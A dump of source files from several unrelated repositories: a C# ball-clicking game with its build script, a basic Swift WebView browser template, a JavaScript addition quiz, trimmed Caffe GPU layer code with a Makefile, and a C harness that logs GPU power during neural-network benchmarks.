<file_sep>/MagicConquerers/Characters/Interfaces/IDefend.cs
using System;
namespace MagicConquerers.Characters.Interfaces
{
public interface IDefend
{
int Defend();
}
}
|
e2cbdc033596997d430b4c1a61732afa192ca50c
|
[
"C#"
] | 27
|
C#
|
sblasa/magic_game
|
d0505fbb1603ba98a4d1d5b338944623bdc2d9ee
|
e6df8477927a910e1cadabfe850a5df0b07efe02
|
refs/heads/master
|
<repo_name>jggf1233/WebViewApps<file_sep>/Android_Vulnerable_WebView/app/src/main/java/com/vulnerable/webview/MyWebViewClient.java
package com.vulnerable.webview;
<file_sep>/README.md
Thanks go to:
- iOS template originally forked from: https://github.com/slymax/webview
- Android template originally forked from: https://github.com/ElectronicArmory/tutorial-ios-webview/tree/master/WebViewExample
<file_sep>/iOS_Vulnerable_WebView/WebViewExample/ViewController.swift
import UIKit
import WebKit
class ViewController: UIViewController, UITextFieldDelegate, WKNavigationDelegate {
@IBOutlet weak var backButton: UIButton!
@IBOutlet weak var forwardButton: UIButton!
@IBOutlet weak var webView: WKWebView!
@IBOutlet weak var urlTextField: UITextField!
override func viewDidLoad() {
super.viewDidLoad()
webView.navigationDelegate = self
self.webView.addObserver(self, forKeyPath: "URL", options: .new, context: nil)
}
override func observeValue(forKeyPath keyPath: String?, of object: Any?, change: [NSKeyValueChangeKey : Any]?, context: UnsafeMutableRawPointer?) {
if keyPath == #keyPath(<KEY>) {
urlTextField.text = self.webView.url?.absoluteString
}
}
override func viewDidAppear(_ animated: Bool) {
super.viewDidAppear( animated )
let urlString:String = "http://google.com/"
let url:URL = URL(string: urlString)!
let urlRequest:URLRequest = URLRequest(url: url)
webView.load(urlRequest)
urlTextField.text = urlString
}
override func didReceiveMemoryWarning() {
super.didReceiveMemoryWarning()
// Dispose of any resources that can be recreated.
}
func textFieldShouldReturn(_ textField: UITextField) -> Bool {
let urlString:String = urlTextField.text!
let url:URL = URL(string: urlString)!
let urlRequest:URLRequest = URLRequest(url: url)
webView.load(urlRequest)
textField.resignFirstResponder()
return true
}
@IBAction func forwardButtonTapped(_ sender: Any) {
if webView.canGoForward {
webView.goForward()
}
}
}
|
9fa8a040f8653aafc7651e544efeba300847895f
|
[
"Markdown",
"Java",
"Swift"
] | 3
|
Java
|
jggf1233/WebViewApps
|
c506dadd4085074a5be7ccb5c73776e431d61d32
|
aaccebcbf95527474084e39a7dd025d799ad06bb
|
refs/heads/master
|
<repo_name>RandyKoiSA/RicochetBall_game<file_sep>/run.sh
echo First removing old binary files
rm *.dll
rm *.exe
echo view the list of source files
ls -ls
echo Compile billiardlogic.cs to create the file
mcs -target:library billiardlogic.cs -r:System.Drawing.dll -out:billiardlogic.dll
echo Compile billiardframe.cs to create the file
mcs -target:library billiardframe.cs -r:System.Windows.Forms.dll -r:System.Drawing.dll -r:billiardlogic.dll -out:billiardframe.dll
echo Compile billiardmain.cs to create the exe
mcs billiardmain.cs -r:System.Windows.Forms.dll -r:System.Drawing.dll -r:billiardframe.dll -r:billiardlogic.dll -out:billiardmain.exe
./billiardmain.exe
echo the scripe has terminated<file_sep>/billiardmain.cs
/*Author: <NAME>
* Author's Email: <EMAIL>
* Course: CPSC 223N
*
* Due Date: December 6, 2017
*
* Source Files:
* 1.billiardmain.cs
* 2.billiardframe.cs
* 3.billiardlogic.cs
* 4.run.sh
* Purpose of this entire program:
* -A ball game that we have to "catch" to gain point. Every time gaining a point, it increases the speed;
* The source files in this program should be compiled in the order specified:
* 1.billiardlogic.cs
* 2.billiardframe.cs
* 3.billiardmain.cs
* 4.run.sh
* Compile this file:
* mcs -target:library billiardmain.cs -r:System.Windows.Forms.dll -r:System.Drawing.dll -r:billiardframe.dll -r:billiardlogic.dll -out:billardmain.exe
*/
using System;
using System.Windows.Forms;
public class billiardmain{
public static void Main(){
System.Console.WriteLine("The billiard program has begun");
billiardframe program = new billiardframe();
Application.Run(program);
System.Console.WriteLine("The billiard program has closed");
}
}<file_sep>/billiardframe.cs
/*Author: <NAME>
* Author's Email: <EMAIL>
* Course: CPSC 223N
*
* Due Date: December 6, 2017
*
* Source Files:
* 1.billiardmain.cs
* 2.billiardframe.cs
* 3.billiardlogic.cs
* 4.run.sh
* Purpose of this entire program:
* -A ball game that we have to "catch" to gain point. Every time gaining a point, it increases the speed;
* The source files in this program should be compiled in the order specified:
* 1.billiardlogic.cs
* 2.billiardframe.cs
* 3.billiardmain.cs
* 4.run.sh
* Compile this file:
* mcs -target:library billardframe.cs -r:System.Winwos.Forms.dll -r:System.Drawing.dll -r:billiardlogic.dll -out:billiardframe.dll
*/
using System;
using System.Windows.Forms;
using System.Drawing.Drawing2D;
using System.Drawing;
using System.Timers;
public class billiardframe : Form
{ //Display of the program should be a 16:9 Ratio
private const int form_height = 900;
private const int form_width = form_height * 16 / 9;
private const int control_region_height = 100; //Height of control panel where all the buttons go
private const int graphic_area_height = form_height - control_region_height;
private const int horizontal_adjustment = 8;
//***************************************************************************
//Display Variables
private Button new_game_button = new Button();
private Button next_ball_button = new Button();
private Button exit_button = new Button();
private Label ball_speed_label = new Label();
private Label ball_location_label = new Label();
private Label points_earned_label = new Label();
//Preset Location
private Point new_game_button_location = new Point(20, form_height - control_region_height + 20);
private Point next_ball_button_location = new Point(250, form_height - control_region_height + 20);
private Point ball_speed_label_location = new Point(550, form_height - control_region_height + 20);
private Point ball_location_label_location = new Point(850, form_height - control_region_height + 20);
private Point points_earned_label_location = new Point(1150, form_height - control_region_height + 20);
private Point exit_button_location = new Point(1400, form_height - control_region_height + 20);
//Declare max and min sizes;
private Size maxframesize = new Size(form_width, form_height);
private Size minframesize = new Size(form_width, form_height);
//**************************************************************************
billiardlogic algorithm = new billiardlogic();
private int points_earned = 0;
private const int ball_radius = 20;
private double ball_distance_moved_per_refresh = 1.0;
private double ball_real_coord_x = (double)((form_width / 2) - ball_radius); //double variable initial coord including delta-x
private double ball_real_coord_y = (double)((graphic_area_height / 2) - ball_radius); //double varaible initial coord include delta-y
private int ball_int_coord_x; //rounding up the double variable into an integer
private int ball_int_coord_y; //rounding up the double variable into an interger
private double ballspeed = 1.0;
private double delta_horizontal_x; //How much to move horizontally after computing the move per refresh and radian
private double delta_vertical_y; //how much to move vertically after computing the move per refres and radian
private double ball_angle_radians; //converting the degree in randian form
private double graphic_refresh_rate = 30; //30hz = constant refresh rate during the execution of this program
private double ball_update_rate = 30; //Units are Hz
private static System.Timers.Timer ball_control_clock = new System.Timers.Timer();
private static System.Timers.Timer graphic_area_refresh_clock = new System.Timers.Timer();
//private bool ball_clock_active = false;
private bool show_ball_active = true;
//Variable of MouseEvent
private int cursor_x;
private int cursor_y;
public billiardframe()
{
Size = new Size(form_width, form_height);
BackColor = Color.FromArgb(210, 230, 241);
Text = ("Billiard by <NAME>");
MaximumSize = maxframesize;
MinimumSize = minframesize;
DoubleBuffered = true;
//Set inital coordinates
ball_int_coord_x = (int)(ball_real_coord_x);
ball_int_coord_y = (int)(ball_real_coord_y);
System.Console.WriteLine("Initial coordinates: ball_a_int_coord_x = {0}. ball_a_int_coord_y = {1}.", ball_int_coord_x, ball_int_coord_y);
graphic_area_refresh_clock.Enabled = false; //Initally the clock controlling the rate of update the display is stopped
ball_control_clock.Enabled = false;
new_game_button.Text = "New Game";
new_game_button.BackColor = Color.Yellow;
new_game_button.Location = new_game_button_location;
new_game_button.Size = new Size(150, 35);
next_ball_button.Text = "Next Ball";
next_ball_button.BackColor = Color.Yellow;
next_ball_button.Location = next_ball_button_location;
next_ball_button.Size = new Size(150, 35);
ball_speed_label.Text = "Ball's speed = " + ballspeed + " pix/sec";
ball_speed_label.BackColor = Color.Green;
ball_speed_label.Location = ball_speed_label_location;
ball_speed_label.Size = new Size(180, 35);
ball_location_label.Text = "Ball's location = (" + (ball_int_coord_x + ball_radius) + "," + (ball_int_coord_y + ball_radius) + ")";
ball_location_label.BackColor = Color.Green;
ball_location_label.Location = ball_location_label_location;
ball_location_label.Size = new Size(200, 35);
points_earned_label.Text = "Points earned = " + points_earned;
points_earned_label.BackColor = Color.Green;
points_earned_label.Location = points_earned_label_location;
points_earned_label.Size = new Size(150, 35);
exit_button.Text = "Exit";
exit_button.BackColor = Color.Yellow;
exit_button.Location = exit_button_location;
exit_button.Size = new Size(150, 35);
//Controls & EventHandlers
Controls.Add(new_game_button);
Controls.Add(next_ball_button);
Controls.Add(ball_speed_label);
Controls.Add(ball_location_label);
Controls.Add(points_earned_label);
Controls.Add(exit_button);
new_game_button.Click += new EventHandler(manage_new_game_button);
next_ball_button.Click += new EventHandler(manage_next_ball_button);
exit_button.Click += new EventHandler(closingprogram);
graphic_area_refresh_clock.Elapsed += new ElapsedEventHandler(updatedisplay);
ball_control_clock.Elapsed += new ElapsedEventHandler(updateball);
}
protected override void OnPaint(PaintEventArgs e)
{
Graphics board = e.Graphics;
board.FillRectangle(Brushes.Green, 0, form_height - control_region_height, form_width, form_height);
if (show_ball_active == true)
{
board.FillEllipse(Brushes.Red, ball_int_coord_x, ball_int_coord_y, 2 * ball_radius, 2 * ball_radius);
}
base.OnPaint(e);
}
protected override void OnMouseDown(MouseEventArgs e)
{
cursor_x = e.X;
cursor_y = e.Y;
Invalidate();
clickoncircle(cursor_x, cursor_y);
}
protected void clickoncircle(int x, int y)
{
if (x >= ball_int_coord_x && x <= ball_int_coord_x + (ball_radius * 2))
{
if (y >= ball_int_coord_y && y <= ball_int_coord_y + (ball_radius * 2))
{
points_earned += 1;
points_earned_label.Text = "Points earned = " + points_earned;
show_ball_active = false;
graphic_area_refresh_clock.Enabled = false;
ball_control_clock.Enabled = false;
ball_distance_moved_per_refresh += points_earned + 1 * (.2);
Invalidate();
}
}
}
protected void Startgraphicclock(double refreshrate){
double elapsedtimebetweentics;
if (refreshrate < 1.0) refreshrate = 1.0; //Avoid diving by a number close to zero;
elapsedtimebetweentics = 1000.0 / refreshrate; //elapsedtimebetweentics has units milliseconds
graphic_area_refresh_clock.Interval = (int)System.Math.Round(elapsedtimebetweentics);
graphic_area_refresh_clock.Enabled = true;
}
protected void Startballclock(double updaterate){
double elapsedtimebetweenballmoves;
if (updaterate < 1.0) updaterate = 1.0;
elapsedtimebetweenballmoves = 1000.0 / updaterate;
ball_control_clock.Interval = (int)System.Math.Round(elapsedtimebetweenballmoves);
ball_control_clock.Enabled = true;
}
protected void manage_new_game_button(Object sender, EventArgs events){
//Speed Display
ball_speed_label.Text = "Ball's speed = " + ballspeed + " pix/sec";
ball_real_coord_x = (double)((form_width / 2) - ball_radius); //double variable initial coord including delta-x
ball_real_coord_y = (double)((graphic_area_height / 2) - ball_radius); //double varaible initial coord include delta-y
ball_distance_moved_per_refresh = 1.0;
points_earned = 0;
ball_control_clock.Enabled = false;
graphic_area_refresh_clock.Enabled = false;
show_ball_active = true;
Invalidate();
}
protected void manage_next_ball_button(Object sender, EventArgs events){
//Change speed display here
ball_speed_label.Text = "Ball's speed = " + ball_distance_moved_per_refresh + " pix/sec";
ball_real_coord_x = (double)((form_width / 2) - ball_radius); //double variable initial coord including delta-x
ball_real_coord_y = (double)((graphic_area_height / 2) - ball_radius); //double varaible initial coord include delta-y
ball_angle_radians = algorithm.get_random_direction();
delta_horizontal_x = ball_distance_moved_per_refresh * System.Math.Cos(ball_angle_radians);
delta_vertical_y = ball_distance_moved_per_refresh * System.Math.Sin(ball_angle_radians);
Startgraphicclock(graphic_refresh_rate);
Startballclock(ball_update_rate);
graphic_area_refresh_clock.Enabled = true;
ball_control_clock.Enabled = true;
show_ball_active = true;
}
protected void closingprogram(Object sender, EventArgs events){
System.Console.WriteLine("You pressed the exit_button, goodbye");
Close();
}
protected void updatedisplay(Object sender, ElapsedEventArgs evt){
points_earned_label.Text = "Points earned = " + points_earned;
Invalidate(); //Weird: This creates an artificial events so that the graphic area will repaint itself.
}
protected void updateball(Object sender, ElapsedEventArgs evt){
ball_real_coord_x = ball_real_coord_x + delta_horizontal_x;
ball_real_coord_y = ball_real_coord_y - delta_vertical_y;
ball_int_coord_x = (int)System.Math.Round(ball_real_coord_x);
ball_int_coord_y = (int)System.Math.Round(ball_real_coord_y);
//Have ball coordinates here
ball_location_label.Text = "Ball's location = (" + (ball_int_coord_x + ball_radius) + "," + (ball_int_coord_y + ball_radius) + ")";
//Have ricochet function here
if ((ball_int_coord_x + ball_radius * 2) >= form_width || (ball_int_coord_x) <= 0){
delta_horizontal_x = -delta_horizontal_x;
}
if (ball_int_coord_y <= 0 || (ball_int_coord_y + ball_radius * 2) >= form_height - control_region_height){
delta_vertical_y = -delta_vertical_y;
}
//Determine if ball has passed beyond the graphic area
}
}
<file_sep>/billiardlogic.cs
/*Author: <NAME>
* Author's Email: <EMAIL>
* Course: CPSC 223N
*
* Due Date: December 6, 2017
*
* Source Files:
* 1.billiardmain.cs
* 2.billiardframe.cs
* 3.billiardlogic.cs
* 4.run.sh
* Purpose of this entire program:
* -A ball game that we have to "catch" to gain point. Every time gaining a point, it increases the speed;
* The source files in this program should be compiled in the order specified:
* 1.billiardlogic.cs
* 2.billiardframe.cs
* 3.billiardmain.cs
* 4.run.sh
* Compile this file:
* mcs -target:library billiardlogic.cs -r:System.Drawing.dll -out:billardlogic.dll
*/
public class billiardlogic{
private System.Random randomgenerator = new System.Random();
public double get_random_direction()
{
double randomnumber;
double ball_angle_randians;
randomnumber = randomgenerator.NextDouble();
ball_angle_randians = (randomnumber * 180) / System.Math.PI;
return ball_angle_randians;
}
}<file_sep>/README.md
# Repository Name: Ricochet-Ball-Game
A ball game where you have to click on the ball to gain point. After clicking on the ball the
ball resets but the speed increases slightly. When the ball reaches to the borders of the program, it will
ricochet the wall and continue bouncing but still have the same speed. <br>
## Info
Language: C# <br>
Software: Monodevelop<br>
Distribution: Xubuntu<br>
Author: <NAME><br>
Author's Email: <EMAIL><br>
Course: CPSC223N<br>
## Files
1. billiardmain.cs
2. billiardframe.cs
3. billiardlogic.cs
|
5de729ff38a3f3c11eda2fbc56c7b190c1d7de9c
|
[
"Markdown",
"C#",
"Shell"
] | 5
|
Shell
|
RandyKoiSA/RicochetBall_game
|
fd4e6ae851e461d70394f8db902c9455d0b7bf21
|
d1fa6005617bc107743b8f4f76494b6843fed88f
|
refs/heads/master
|
<file_sep> function GetAnswer() {
if ($('#answer').val() == answer) {
alert("Correct");
score ++;
}
else {
alert("Wrong");
}
$('#score').text('Score: ' + score);
CreateSum();
}
var answer;
var score;
function CreateSum() {
var x = Math.floor((Math.random() * 10) + 1);
var y = Math.floor((Math.random() * 10) + 1);
answer = x + y;
$('#sum').text(x + ' + ' + y + ' = ');
}
function StartGame() {
score = 0;
CreateSum();
}
|
af8d206f5f44bf9dc810e9087b59f728724c1693
|
[
"JavaScript"
] | 1
|
JavaScript
|
KevinMoss/main2
|
0a6d6c31d7dced346a7296cbfe5a2f15edb5ee9f
|
ad9893731c3aa55b76df2eb4dc1dd21e26328fd2
|
refs/heads/master
|
<repo_name>herenvarno/gnng<file_sep>/gnng.20160508/include/config.hpp
#define USE_CONV_LAYER
#define USE_POOLING_LAYER
#define USE_RELU_LAYER
<file_sep>/gnng_ppl/src/caffe/layers/relu_layer.cpp
#include <algorithm>
#include <vector>
#include "caffe/layers/relu_layer.hpp"
namespace caffe {
template <typename Dtype>
void ReLULayer<Dtype>::Forward_cpu(const vector<Blob<Dtype>*>& bottom,
const vector<Blob<Dtype>*>& top) {
const Dtype* bottom_data = bottom[0]->cpu_data();
Dtype* top_data = top[0]->mutable_cpu_data();
const int count = bottom[0]->count();
Dtype negative_slope = this->layer_param_.relu_param().negative_slope();
for (int i = 0; i < count; ++i) {
top_data[i] = std::max(bottom_data[i], Dtype(0))
+ negative_slope * std::min(bottom_data[i], Dtype(0));
}
}
#ifdef CPU_ONLY
STUB_GPU(ReLULayer);
#endif
INSTANTIATE_CLASS(ReLULayer);
REGISTER_LAYER_CLASS(ReLU);
} // namespace caffe
<file_sep>/power_test/script/init.sh
#!/usr/bin/env bash
MYDIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
LOGDIR=$MYDIR/../data
mkdir -p $LOGDIR
<file_sep>/gnng_ppl/include/test.hpp
#include <cuda.h>
#include <stdio.h>
#include "caffe/net.hpp"
#include "caffe/layers/memory_data_layer.hpp"
#ifndef __GNNG_TEST_HPP__
#define __GNNG_TEST_HPP__
#endif // __GNNG_TEST_HPP__
<file_sep>/gnng.20160512/include/caffe/layers/conv_layer.hpp
#ifndef CAFFE_CONV_LAYER_HPP_
#define CAFFE_CONV_LAYER_HPP_
#include <vector>
#include "caffe/blob.hpp"
#include "caffe/layer.hpp"
#include "caffe/proto/caffe.pb.h"
#include "caffe/util/im2col.hpp"
#include "caffe/filler.hpp"
#include "caffe/util/math_functions.hpp"
//#include "caffe/layers/base_conv_layer.hpp"
namespace caffe {
template <typename Dtype>
class ConvolutionLayer : public Layer<Dtype> {
public:
explicit ConvolutionLayer(const LayerParameter& param)
: Layer<Dtype>(param) {}
virtual void LayerSetUp(const vector<Blob<Dtype>*>& bottom,
const vector<Blob<Dtype>*>& top);
virtual void Reshape(const vector<Blob<Dtype>*>& bottom,
const vector<Blob<Dtype>*>& top);
virtual inline int MinBottomBlobs() const {
return 1;
}
virtual inline int MinTopBlobs() const {
return 1;
}
virtual inline bool EqualNumBottomTopBlobs() const{
return true;
}
virtual inline const char* type() const {
return "Convolution";
}
protected:
void forward_gpu_do(const Dtype* input, const Dtype* weights,
const Dtype* bias, Dtype* output);
void forward_gpu_gemm(const Dtype* col_input, const Dtype* weights,
Dtype* output, bool skip_im2col = false);
void forward_gpu_bias(Dtype* output, const Dtype* bias);
virtual void Forward_gpu(const vector<Blob<Dtype>*>& bottom,
const vector<Blob<Dtype>*>& top);
inline int input_shape(int i) {
return (*bottom_shape_)[channel_axis_ + i];
}
virtual inline bool reverse_dimensions() { return false; }
virtual void compute_output_shape();
Blob<int> kernel_shape_;
Blob<int> stride_;
Blob<int> pad_;
Blob<int> dilation_;
Blob<int> conv_input_shape_;
vector<int> col_buffer_shape_;
vector<int> output_shape_;
const vector<int>* bottom_shape_;
int num_spatial_axes_;
int bottom_dim_;
int top_dim_;
int channel_axis_;
int num_;
int channels_;
int group_;
int out_spatial_dim_;
int weight_offset_;
int num_output_;
bool bias_term_;
bool is_1x1_;
bool force_nd_im2col_;
private:
inline void conv_im2col_gpu(const Dtype* data, Dtype* col_buff) {
if (!force_nd_im2col_ && num_spatial_axes_ == 2) {
im2col_gpu(data, conv_in_channels_,
conv_input_shape_.cpu_data()[1], conv_input_shape_.cpu_data()[2],
kernel_shape_.cpu_data()[0], kernel_shape_.cpu_data()[1],
pad_.cpu_data()[0], pad_.cpu_data()[1],
stride_.cpu_data()[0], stride_.cpu_data()[1],
dilation_.cpu_data()[0], dilation_.cpu_data()[1], col_buff);
} else {
im2col_nd_gpu(data, num_spatial_axes_, num_kernels_im2col_,
conv_input_shape_.gpu_data(), col_buffer_.gpu_shape(),
kernel_shape_.gpu_data(), pad_.gpu_data(),
stride_.gpu_data(), dilation_.gpu_data(), col_buff);
}
}
inline void conv_col2im_gpu(const Dtype* col_buff, Dtype* data) {
if (!force_nd_im2col_ && num_spatial_axes_ == 2) {
col2im_gpu(col_buff, conv_in_channels_,
conv_input_shape_.cpu_data()[1], conv_input_shape_.cpu_data()[2],
kernel_shape_.cpu_data()[0], kernel_shape_.cpu_data()[1],
pad_.cpu_data()[0], pad_.cpu_data()[1],
stride_.cpu_data()[0], stride_.cpu_data()[1],
dilation_.cpu_data()[0], dilation_.cpu_data()[1], data);
} else {
col2im_nd_gpu(col_buff, num_spatial_axes_, num_kernels_col2im_,
conv_input_shape_.gpu_data(), col_buffer_.gpu_shape(),
kernel_shape_.gpu_data(), pad_.gpu_data(), stride_.gpu_data(),
dilation_.gpu_data(), data);
}
}
int num_kernels_im2col_;
int num_kernels_col2im_;
int conv_out_channels_;
int conv_in_channels_;
int conv_out_spatial_dim_;
int kernel_dim_;
int col_offset_;
int output_offset_;
Blob<Dtype> col_buffer_;
Blob<Dtype> bias_multiplier_;
};
} // namespace caffe
#endif // CAFFE_CONV_LAYER_HPP_
<file_sep>/power_test/src/power_test.c
#include<stdio.h>
#include<stdlib.h>
#include <limits.h>
#include <unistd.h>
#include <sys/types.h>
#include <signal.h>
#include <string.h>
#include <sys/wait.h>
#include <fcntl.h>
#define STEPNUM 23
#define STEPFIELD 3
int main(int argc, char* argv[])
{
const char* STEPS[STEPNUM][STEPFIELD]={
{"STEP 0-0. Measure steady power before test!\n", NULL, "0-normal-0.log"},
{"STEP 1-0. Measure LeNet : CAFFE\n", "LeNet 1 0", "1-LeNet-0.log"},
{"STEP 1-1. Measure LeNet : SET=1\n", "LeNet 1 1", "1-LeNet-1.log"},
{"STEP 1-2. Measure LeNet : SET=2\n", "LeNet 1 2", "1-LeNet-2.log"},
{"STEP 1-4. Measure LeNet : SET=4\n", "LeNet 1 4", "1-LeNet-4.log"},
{"STEP 1-8. Measure LeNet : SET=8\n", "LeNet 1 8", "1-LeNet-8.log"},
{"STEP 1-16. Measure LeNet : SET=16\n", "LeNet 1 16", "1-LeNet-16.log"},
{"STEP 1-32. Measure LeNet : SET=32\n", "LeNet 1 32", "1-LeNet-32.log"},
{"STEP 2-0. Measure CaffeNet : CAFFE\n", "CaffeNet 3 0", "2-CaffeNet-0.log"},
{"STEP 2-1. Measure CaffeNet : SET=1\n", "CaffeNet 3 1", "2-CaffeNet-1.log"},
{"STEP 2-2. Measure CaffeNet : SET=2\n", "CaffeNet 3 2", "2-CaffeNet-2.log"},
{"STEP 2-4. Measure CaffeNet : SET=4\n", "CaffeNet 3 4", "2-CaffeNet-4.log"},
{"STEP 2-8. Measure CaffeNet : SET=8\n", "CaffeNet 3 8", "2-CaffeNet-8.log"},
{"STEP 2-16. Measure CaffeNet : SET=16\n", "CaffeNet 3 16", "2-CaffeNet-16.log"},
{"STEP 2-32. Measure CaffeNet : SET=32\n", "CaffeNet 3 32", "2-CaffeNet-32.log"},
{"STEP 3-0. Measure GoogleNet : CAFFE\n", "GoogleNet 3 0", "3-GoogleNet-0.log"},
{"STEP 3-1. Measure GoogleNet : SET=1\n", "GoogleNet 3 1", "3-GoogleNet-1.log"},
{"STEP 3-2. Measure GoogleNet : SET=2\n", "GoogleNet 3 2", "3-GoogleNet-2.log"},
{"STEP 3-4. Measure GoogleNet : SET=4\n", "GoogleNet 3 4", "3-GoogleeNet-4.log"},
{"STEP 3-8. Measure GoogleNet : SET=8\n", "GoogleNet 3 8", "3-GoogleNet-8.log"},
{"STEP 3-16. Measure GoogleNet : SET=16\n", "GoogleNet 3 16", "3-GoogleNet-16.log"},
{"STEP 3-32. Measure GoogleNet : SET=32\n", "GoogleNet 3 32", "3-GoogleNet-32.log"},
{"STEP 0-1. Measure steady power after test!\n", NULL, "0-normal-1.log"}
};
char CMD[1024]={0};
char PREFIX[1024]={0};
pid_t pid;
ssize_t count = readlink("/proc/self/exe", PREFIX, 1024);
int i;
for(i=strlen(PREFIX); i>0; i--)
{
if(PREFIX[i]=='/')
{
PREFIX[i]='\0';
break;
}
}
printf("%s\n", PREFIX);
// INIT
snprintf(CMD, sizeof(CMD), "%s/script/init.sh", PREFIX);
system(CMD);
// START TEST STEPS LOOP
for(i=0;i<STEPNUM;i++)
{
sleep(60);
printf("%s", STEPS[i][0]);
pid = fork();
if(pid==0)
{
// Child: measure the power
//nvidia-smi -i 0 -q -d POWER -l 1 &> $LOGDIR/$1
//FILE *f=fopen(STEPS[i][2], "w+");
//dup2(fileno(f), STDOUT_FILENO);
char path[1024]={0};
snprintf(path, 1024, "%s/data/%s", PREFIX, STEPS[i][2]);
int f=open(path, O_WRONLY|O_CREAT|O_TRUNC, 0666);
dup2(f, STDOUT_FILENO);
char *child_argv[]={"/usr/bin/nvidia-smi", "-i", "0", "-q", "-d", "POWER,PERFORMANCE", "-lms", "2", NULL};
execv("/usr/bin/nvidia-smi", child_argv);
exit(127);
}
else if(pid>0)
{
// Parent: run program
sleep(2);
if(STEPS[i][1]==NULL)
{
// for normal power test.
sleep(5);
}
else
{
snprintf(CMD, sizeof(CMD), "%s/script/lancher.sh %s", PREFIX, STEPS[i][1]);
system(CMD);
}
kill(pid, SIGKILL);
int status;
waitpid(pid, &status, 0);
printf("%x\n", status);
}
else
{
// Error
printf("ERROR !!!\n");
return pid;
}
}
printf("TEST COMPLETE!\n");
return 0;
}
<file_sep>/gnng_ppl/Makefile
CUDA_DIR = /opt/cuda
PROTOBUF_DIR = /
CXX = g++
NVCC = $(CUDA_DIR)/bin/nvcc
PROTOC = protoc
I_DIR = /usr/include $(CUDA_DIR)/include include
L_DIR = /usr/lib /usr/lib64 $(CUDA_DIR)/lib64
CXXFLAGS = $(patsubst %, -I%, $(I_DIR))
LIBS = $(patsubst %, -L%, $(L_DIR)) -lcudart -lcublas -lcurand -lglog -lgflags -lprotobuf -lboost_system -lboost_filesystem -lm -lhdf5_hl -lhdf5 -lboost_thread -lstdc++ -lopenblas `pkg-config --cflags --libs opencv`
BIN = test
BUILD_DIR = obj
CXXSRCS = $(shell find src/ -type f -name '*.cpp')
CXXOBJS = $(patsubst src/%.cpp, obj/%.o, $(CXXSRCS))
CUSRCS = $(shell find src/ -type f -name '*.cu')
CUOBJS = $(patsubst src/%.cu, obj/%.cu.o, $(CUSRCS))
PROTOSRCS = $(shell find src/ -type f -name '*.proto')
PROTOOS= $(patsubst src/%.proto, obj/%.pb.o, $(PROTOSRCS))
$(BIN) : $(CXXOBJS) $(CUOBJS) $(PROTOOS)
$(CXX) $(LIBS) $(CXXOBJS) $(CUOBJS) $(PROTOOS) -o $@
include/caffe/proto/caffe.pb.cc include/caffe/proto/caffe.pb.h: src/caffe/proto/caffe.proto
$(PROTOC) --proto_path=$(dir $(PROTOSRCS)) --cpp_out=$(dir $(PROTOHS)) $<
obj/caffe/proto/caffe.pb.o : include/caffe/proto/caffe.pb.cc include/caffe/proto/caffe.pb.h
mkdir -p $(@D)
$(CXX) $(CXXFLAGS) -c include/caffe/proto/caffe.pb.cc -o $@
obj/caffe/util/math_functions.o : src/caffe/util/math_functions.cpp include/caffe/util/math_functions.hpp
mkdir -p $(@D)
$(CXX) $(CXXFLAGS) -c src/caffe/util/math_functions.cpp -o $@
obj/caffe/util/math_functions.cu.o : src/caffe/util/math_functions.cu include/caffe/util/math_functions.hpp
mkdir -p $(@D)
$(NVCC) $(CXXFLAGS) -c src/caffe/util/math_functions.cu -o $@
obj/caffe/util/im2col.o : src/caffe/util/im2col.cpp include/caffe/util/im2col.hpp
mkdir -p $(@D)
$(CXX) $(CXXFLAGS) -c src/caffe/util/im2col.cpp -o $@
obj/caffe/util/im2col.cu.o : src/caffe/util/im2col.cu include/caffe/util/im2col.hpp
mkdir -p $(@D)
$(NVCC) $(CXXFLAGS) -c src/caffe/util/im2col.cu -o $@
obj/caffe/util/upgrade_proto.o : src/caffe/util/upgrade_proto.cpp include/caffe/util/upgrade_proto.hpp
mkdir -p $(@D)
$(CXX) $(CXXFLAGS) -c src/caffe/util/upgrade_proto.cpp -o $@
obj/caffe/util/io.o : src/caffe/util/io.cpp include/caffe/util/io.hpp
mkdir -p $(@D)
$(CXX) $(CXXFLAGS) -c src/caffe/util/io.cpp -o $@
obj/caffe/util/insert_splits.o : src/caffe/util/insert_splits.cpp include/caffe/util/insert_splits.hpp
mkdir -p $(@D)
$(CXX) $(CXXFLAGS) -c src/caffe/util/insert_splits.cpp -o $@
obj/caffe/util/blocking_queue.o : src/caffe/util/blocking_queue.cpp include/caffe/util/blocking_queue.hpp
mkdir -p $(@D)
$(CXX) $(CXXFLAGS) -c src/caffe/util/blocking_queue.cpp -o $@
obj/caffe/syncedmem.o : src/caffe/syncedmem.cpp include/caffe/syncedmem.hpp
mkdir -p $(@D)
$(NVCC) $(CXXFLAGS) -c src/caffe/syncedmem.cpp -o $@
obj/caffe/common.o : src/caffe/common.cpp include/caffe/common.hpp
mkdir -p $(@D)
$(CXX) $(CXXFLAGS) -c src/caffe/common.cpp -o $@
obj/caffe/blob.o : src/caffe/blob.cpp include/caffe/blob.hpp
mkdir -p $(@D)
$(CXX) $(CXXFLAGS) -c src/caffe/blob.cpp -o $@
obj/caffe/layer.o : src/caffe/layer.cpp include/caffe/layer.hpp
mkdir -p $(@D)
$(CXX) $(CXXFLAGS) -c src/caffe/layer.cpp -o $@
obj/caffe/layer_factory.o : src/caffe/layer_factory.cpp include/caffe/layer_factory.hpp
mkdir -p $(@D)
$(CXX) $(CXXFLAGS) -c src/caffe/layer_factory.cpp -o $@
obj/caffe/layers/base_conv_layer.o : src/caffe/layers/base_conv_layer.cpp include/caffe/layers/base_conv_layer.hpp
mkdir -p $(@D)
$(CXX) $(CXXFLAGS) -c src/caffe/layers/base_conv_layer.cpp -o $@
obj/caffe/layers/conv_layer.o : src/caffe/layers/conv_layer.cpp include/caffe/layers/conv_layer.hpp
mkdir -p $(@D)
$(CXX) $(CXXFLAGS) -c src/caffe/layers/conv_layer.cpp -o $@
obj/caffe/layers/conv_layer.cu.o : src/caffe/layers/conv_layer.cu include/caffe/layers/conv_layer.hpp
mkdir -p $(@D)
$(NVCC) $(CXXFLAGS) -c src/caffe/layers/conv_layer.cu -o $@
obj/caffe/layers/eltwise_layer.o : src/caffe/layers/eltwise_layer.cpp include/caffe/layers/eltwise_layer.hpp
mkdir -p $(@D)
$(CXX) $(CXXFLAGS) -c src/caffe/layers/eltwise_layer.cpp -o $@
obj/caffe/layers/eltwise_layer.cu.o : src/caffe/layers/eltwise_layer.cu include/caffe/layers/eltwise_layer.hpp
mkdir -p $(@D)
$(NVCC) $(CXXFLAGS) -c src/caffe/layers/eltwise_layer.cu -o $@
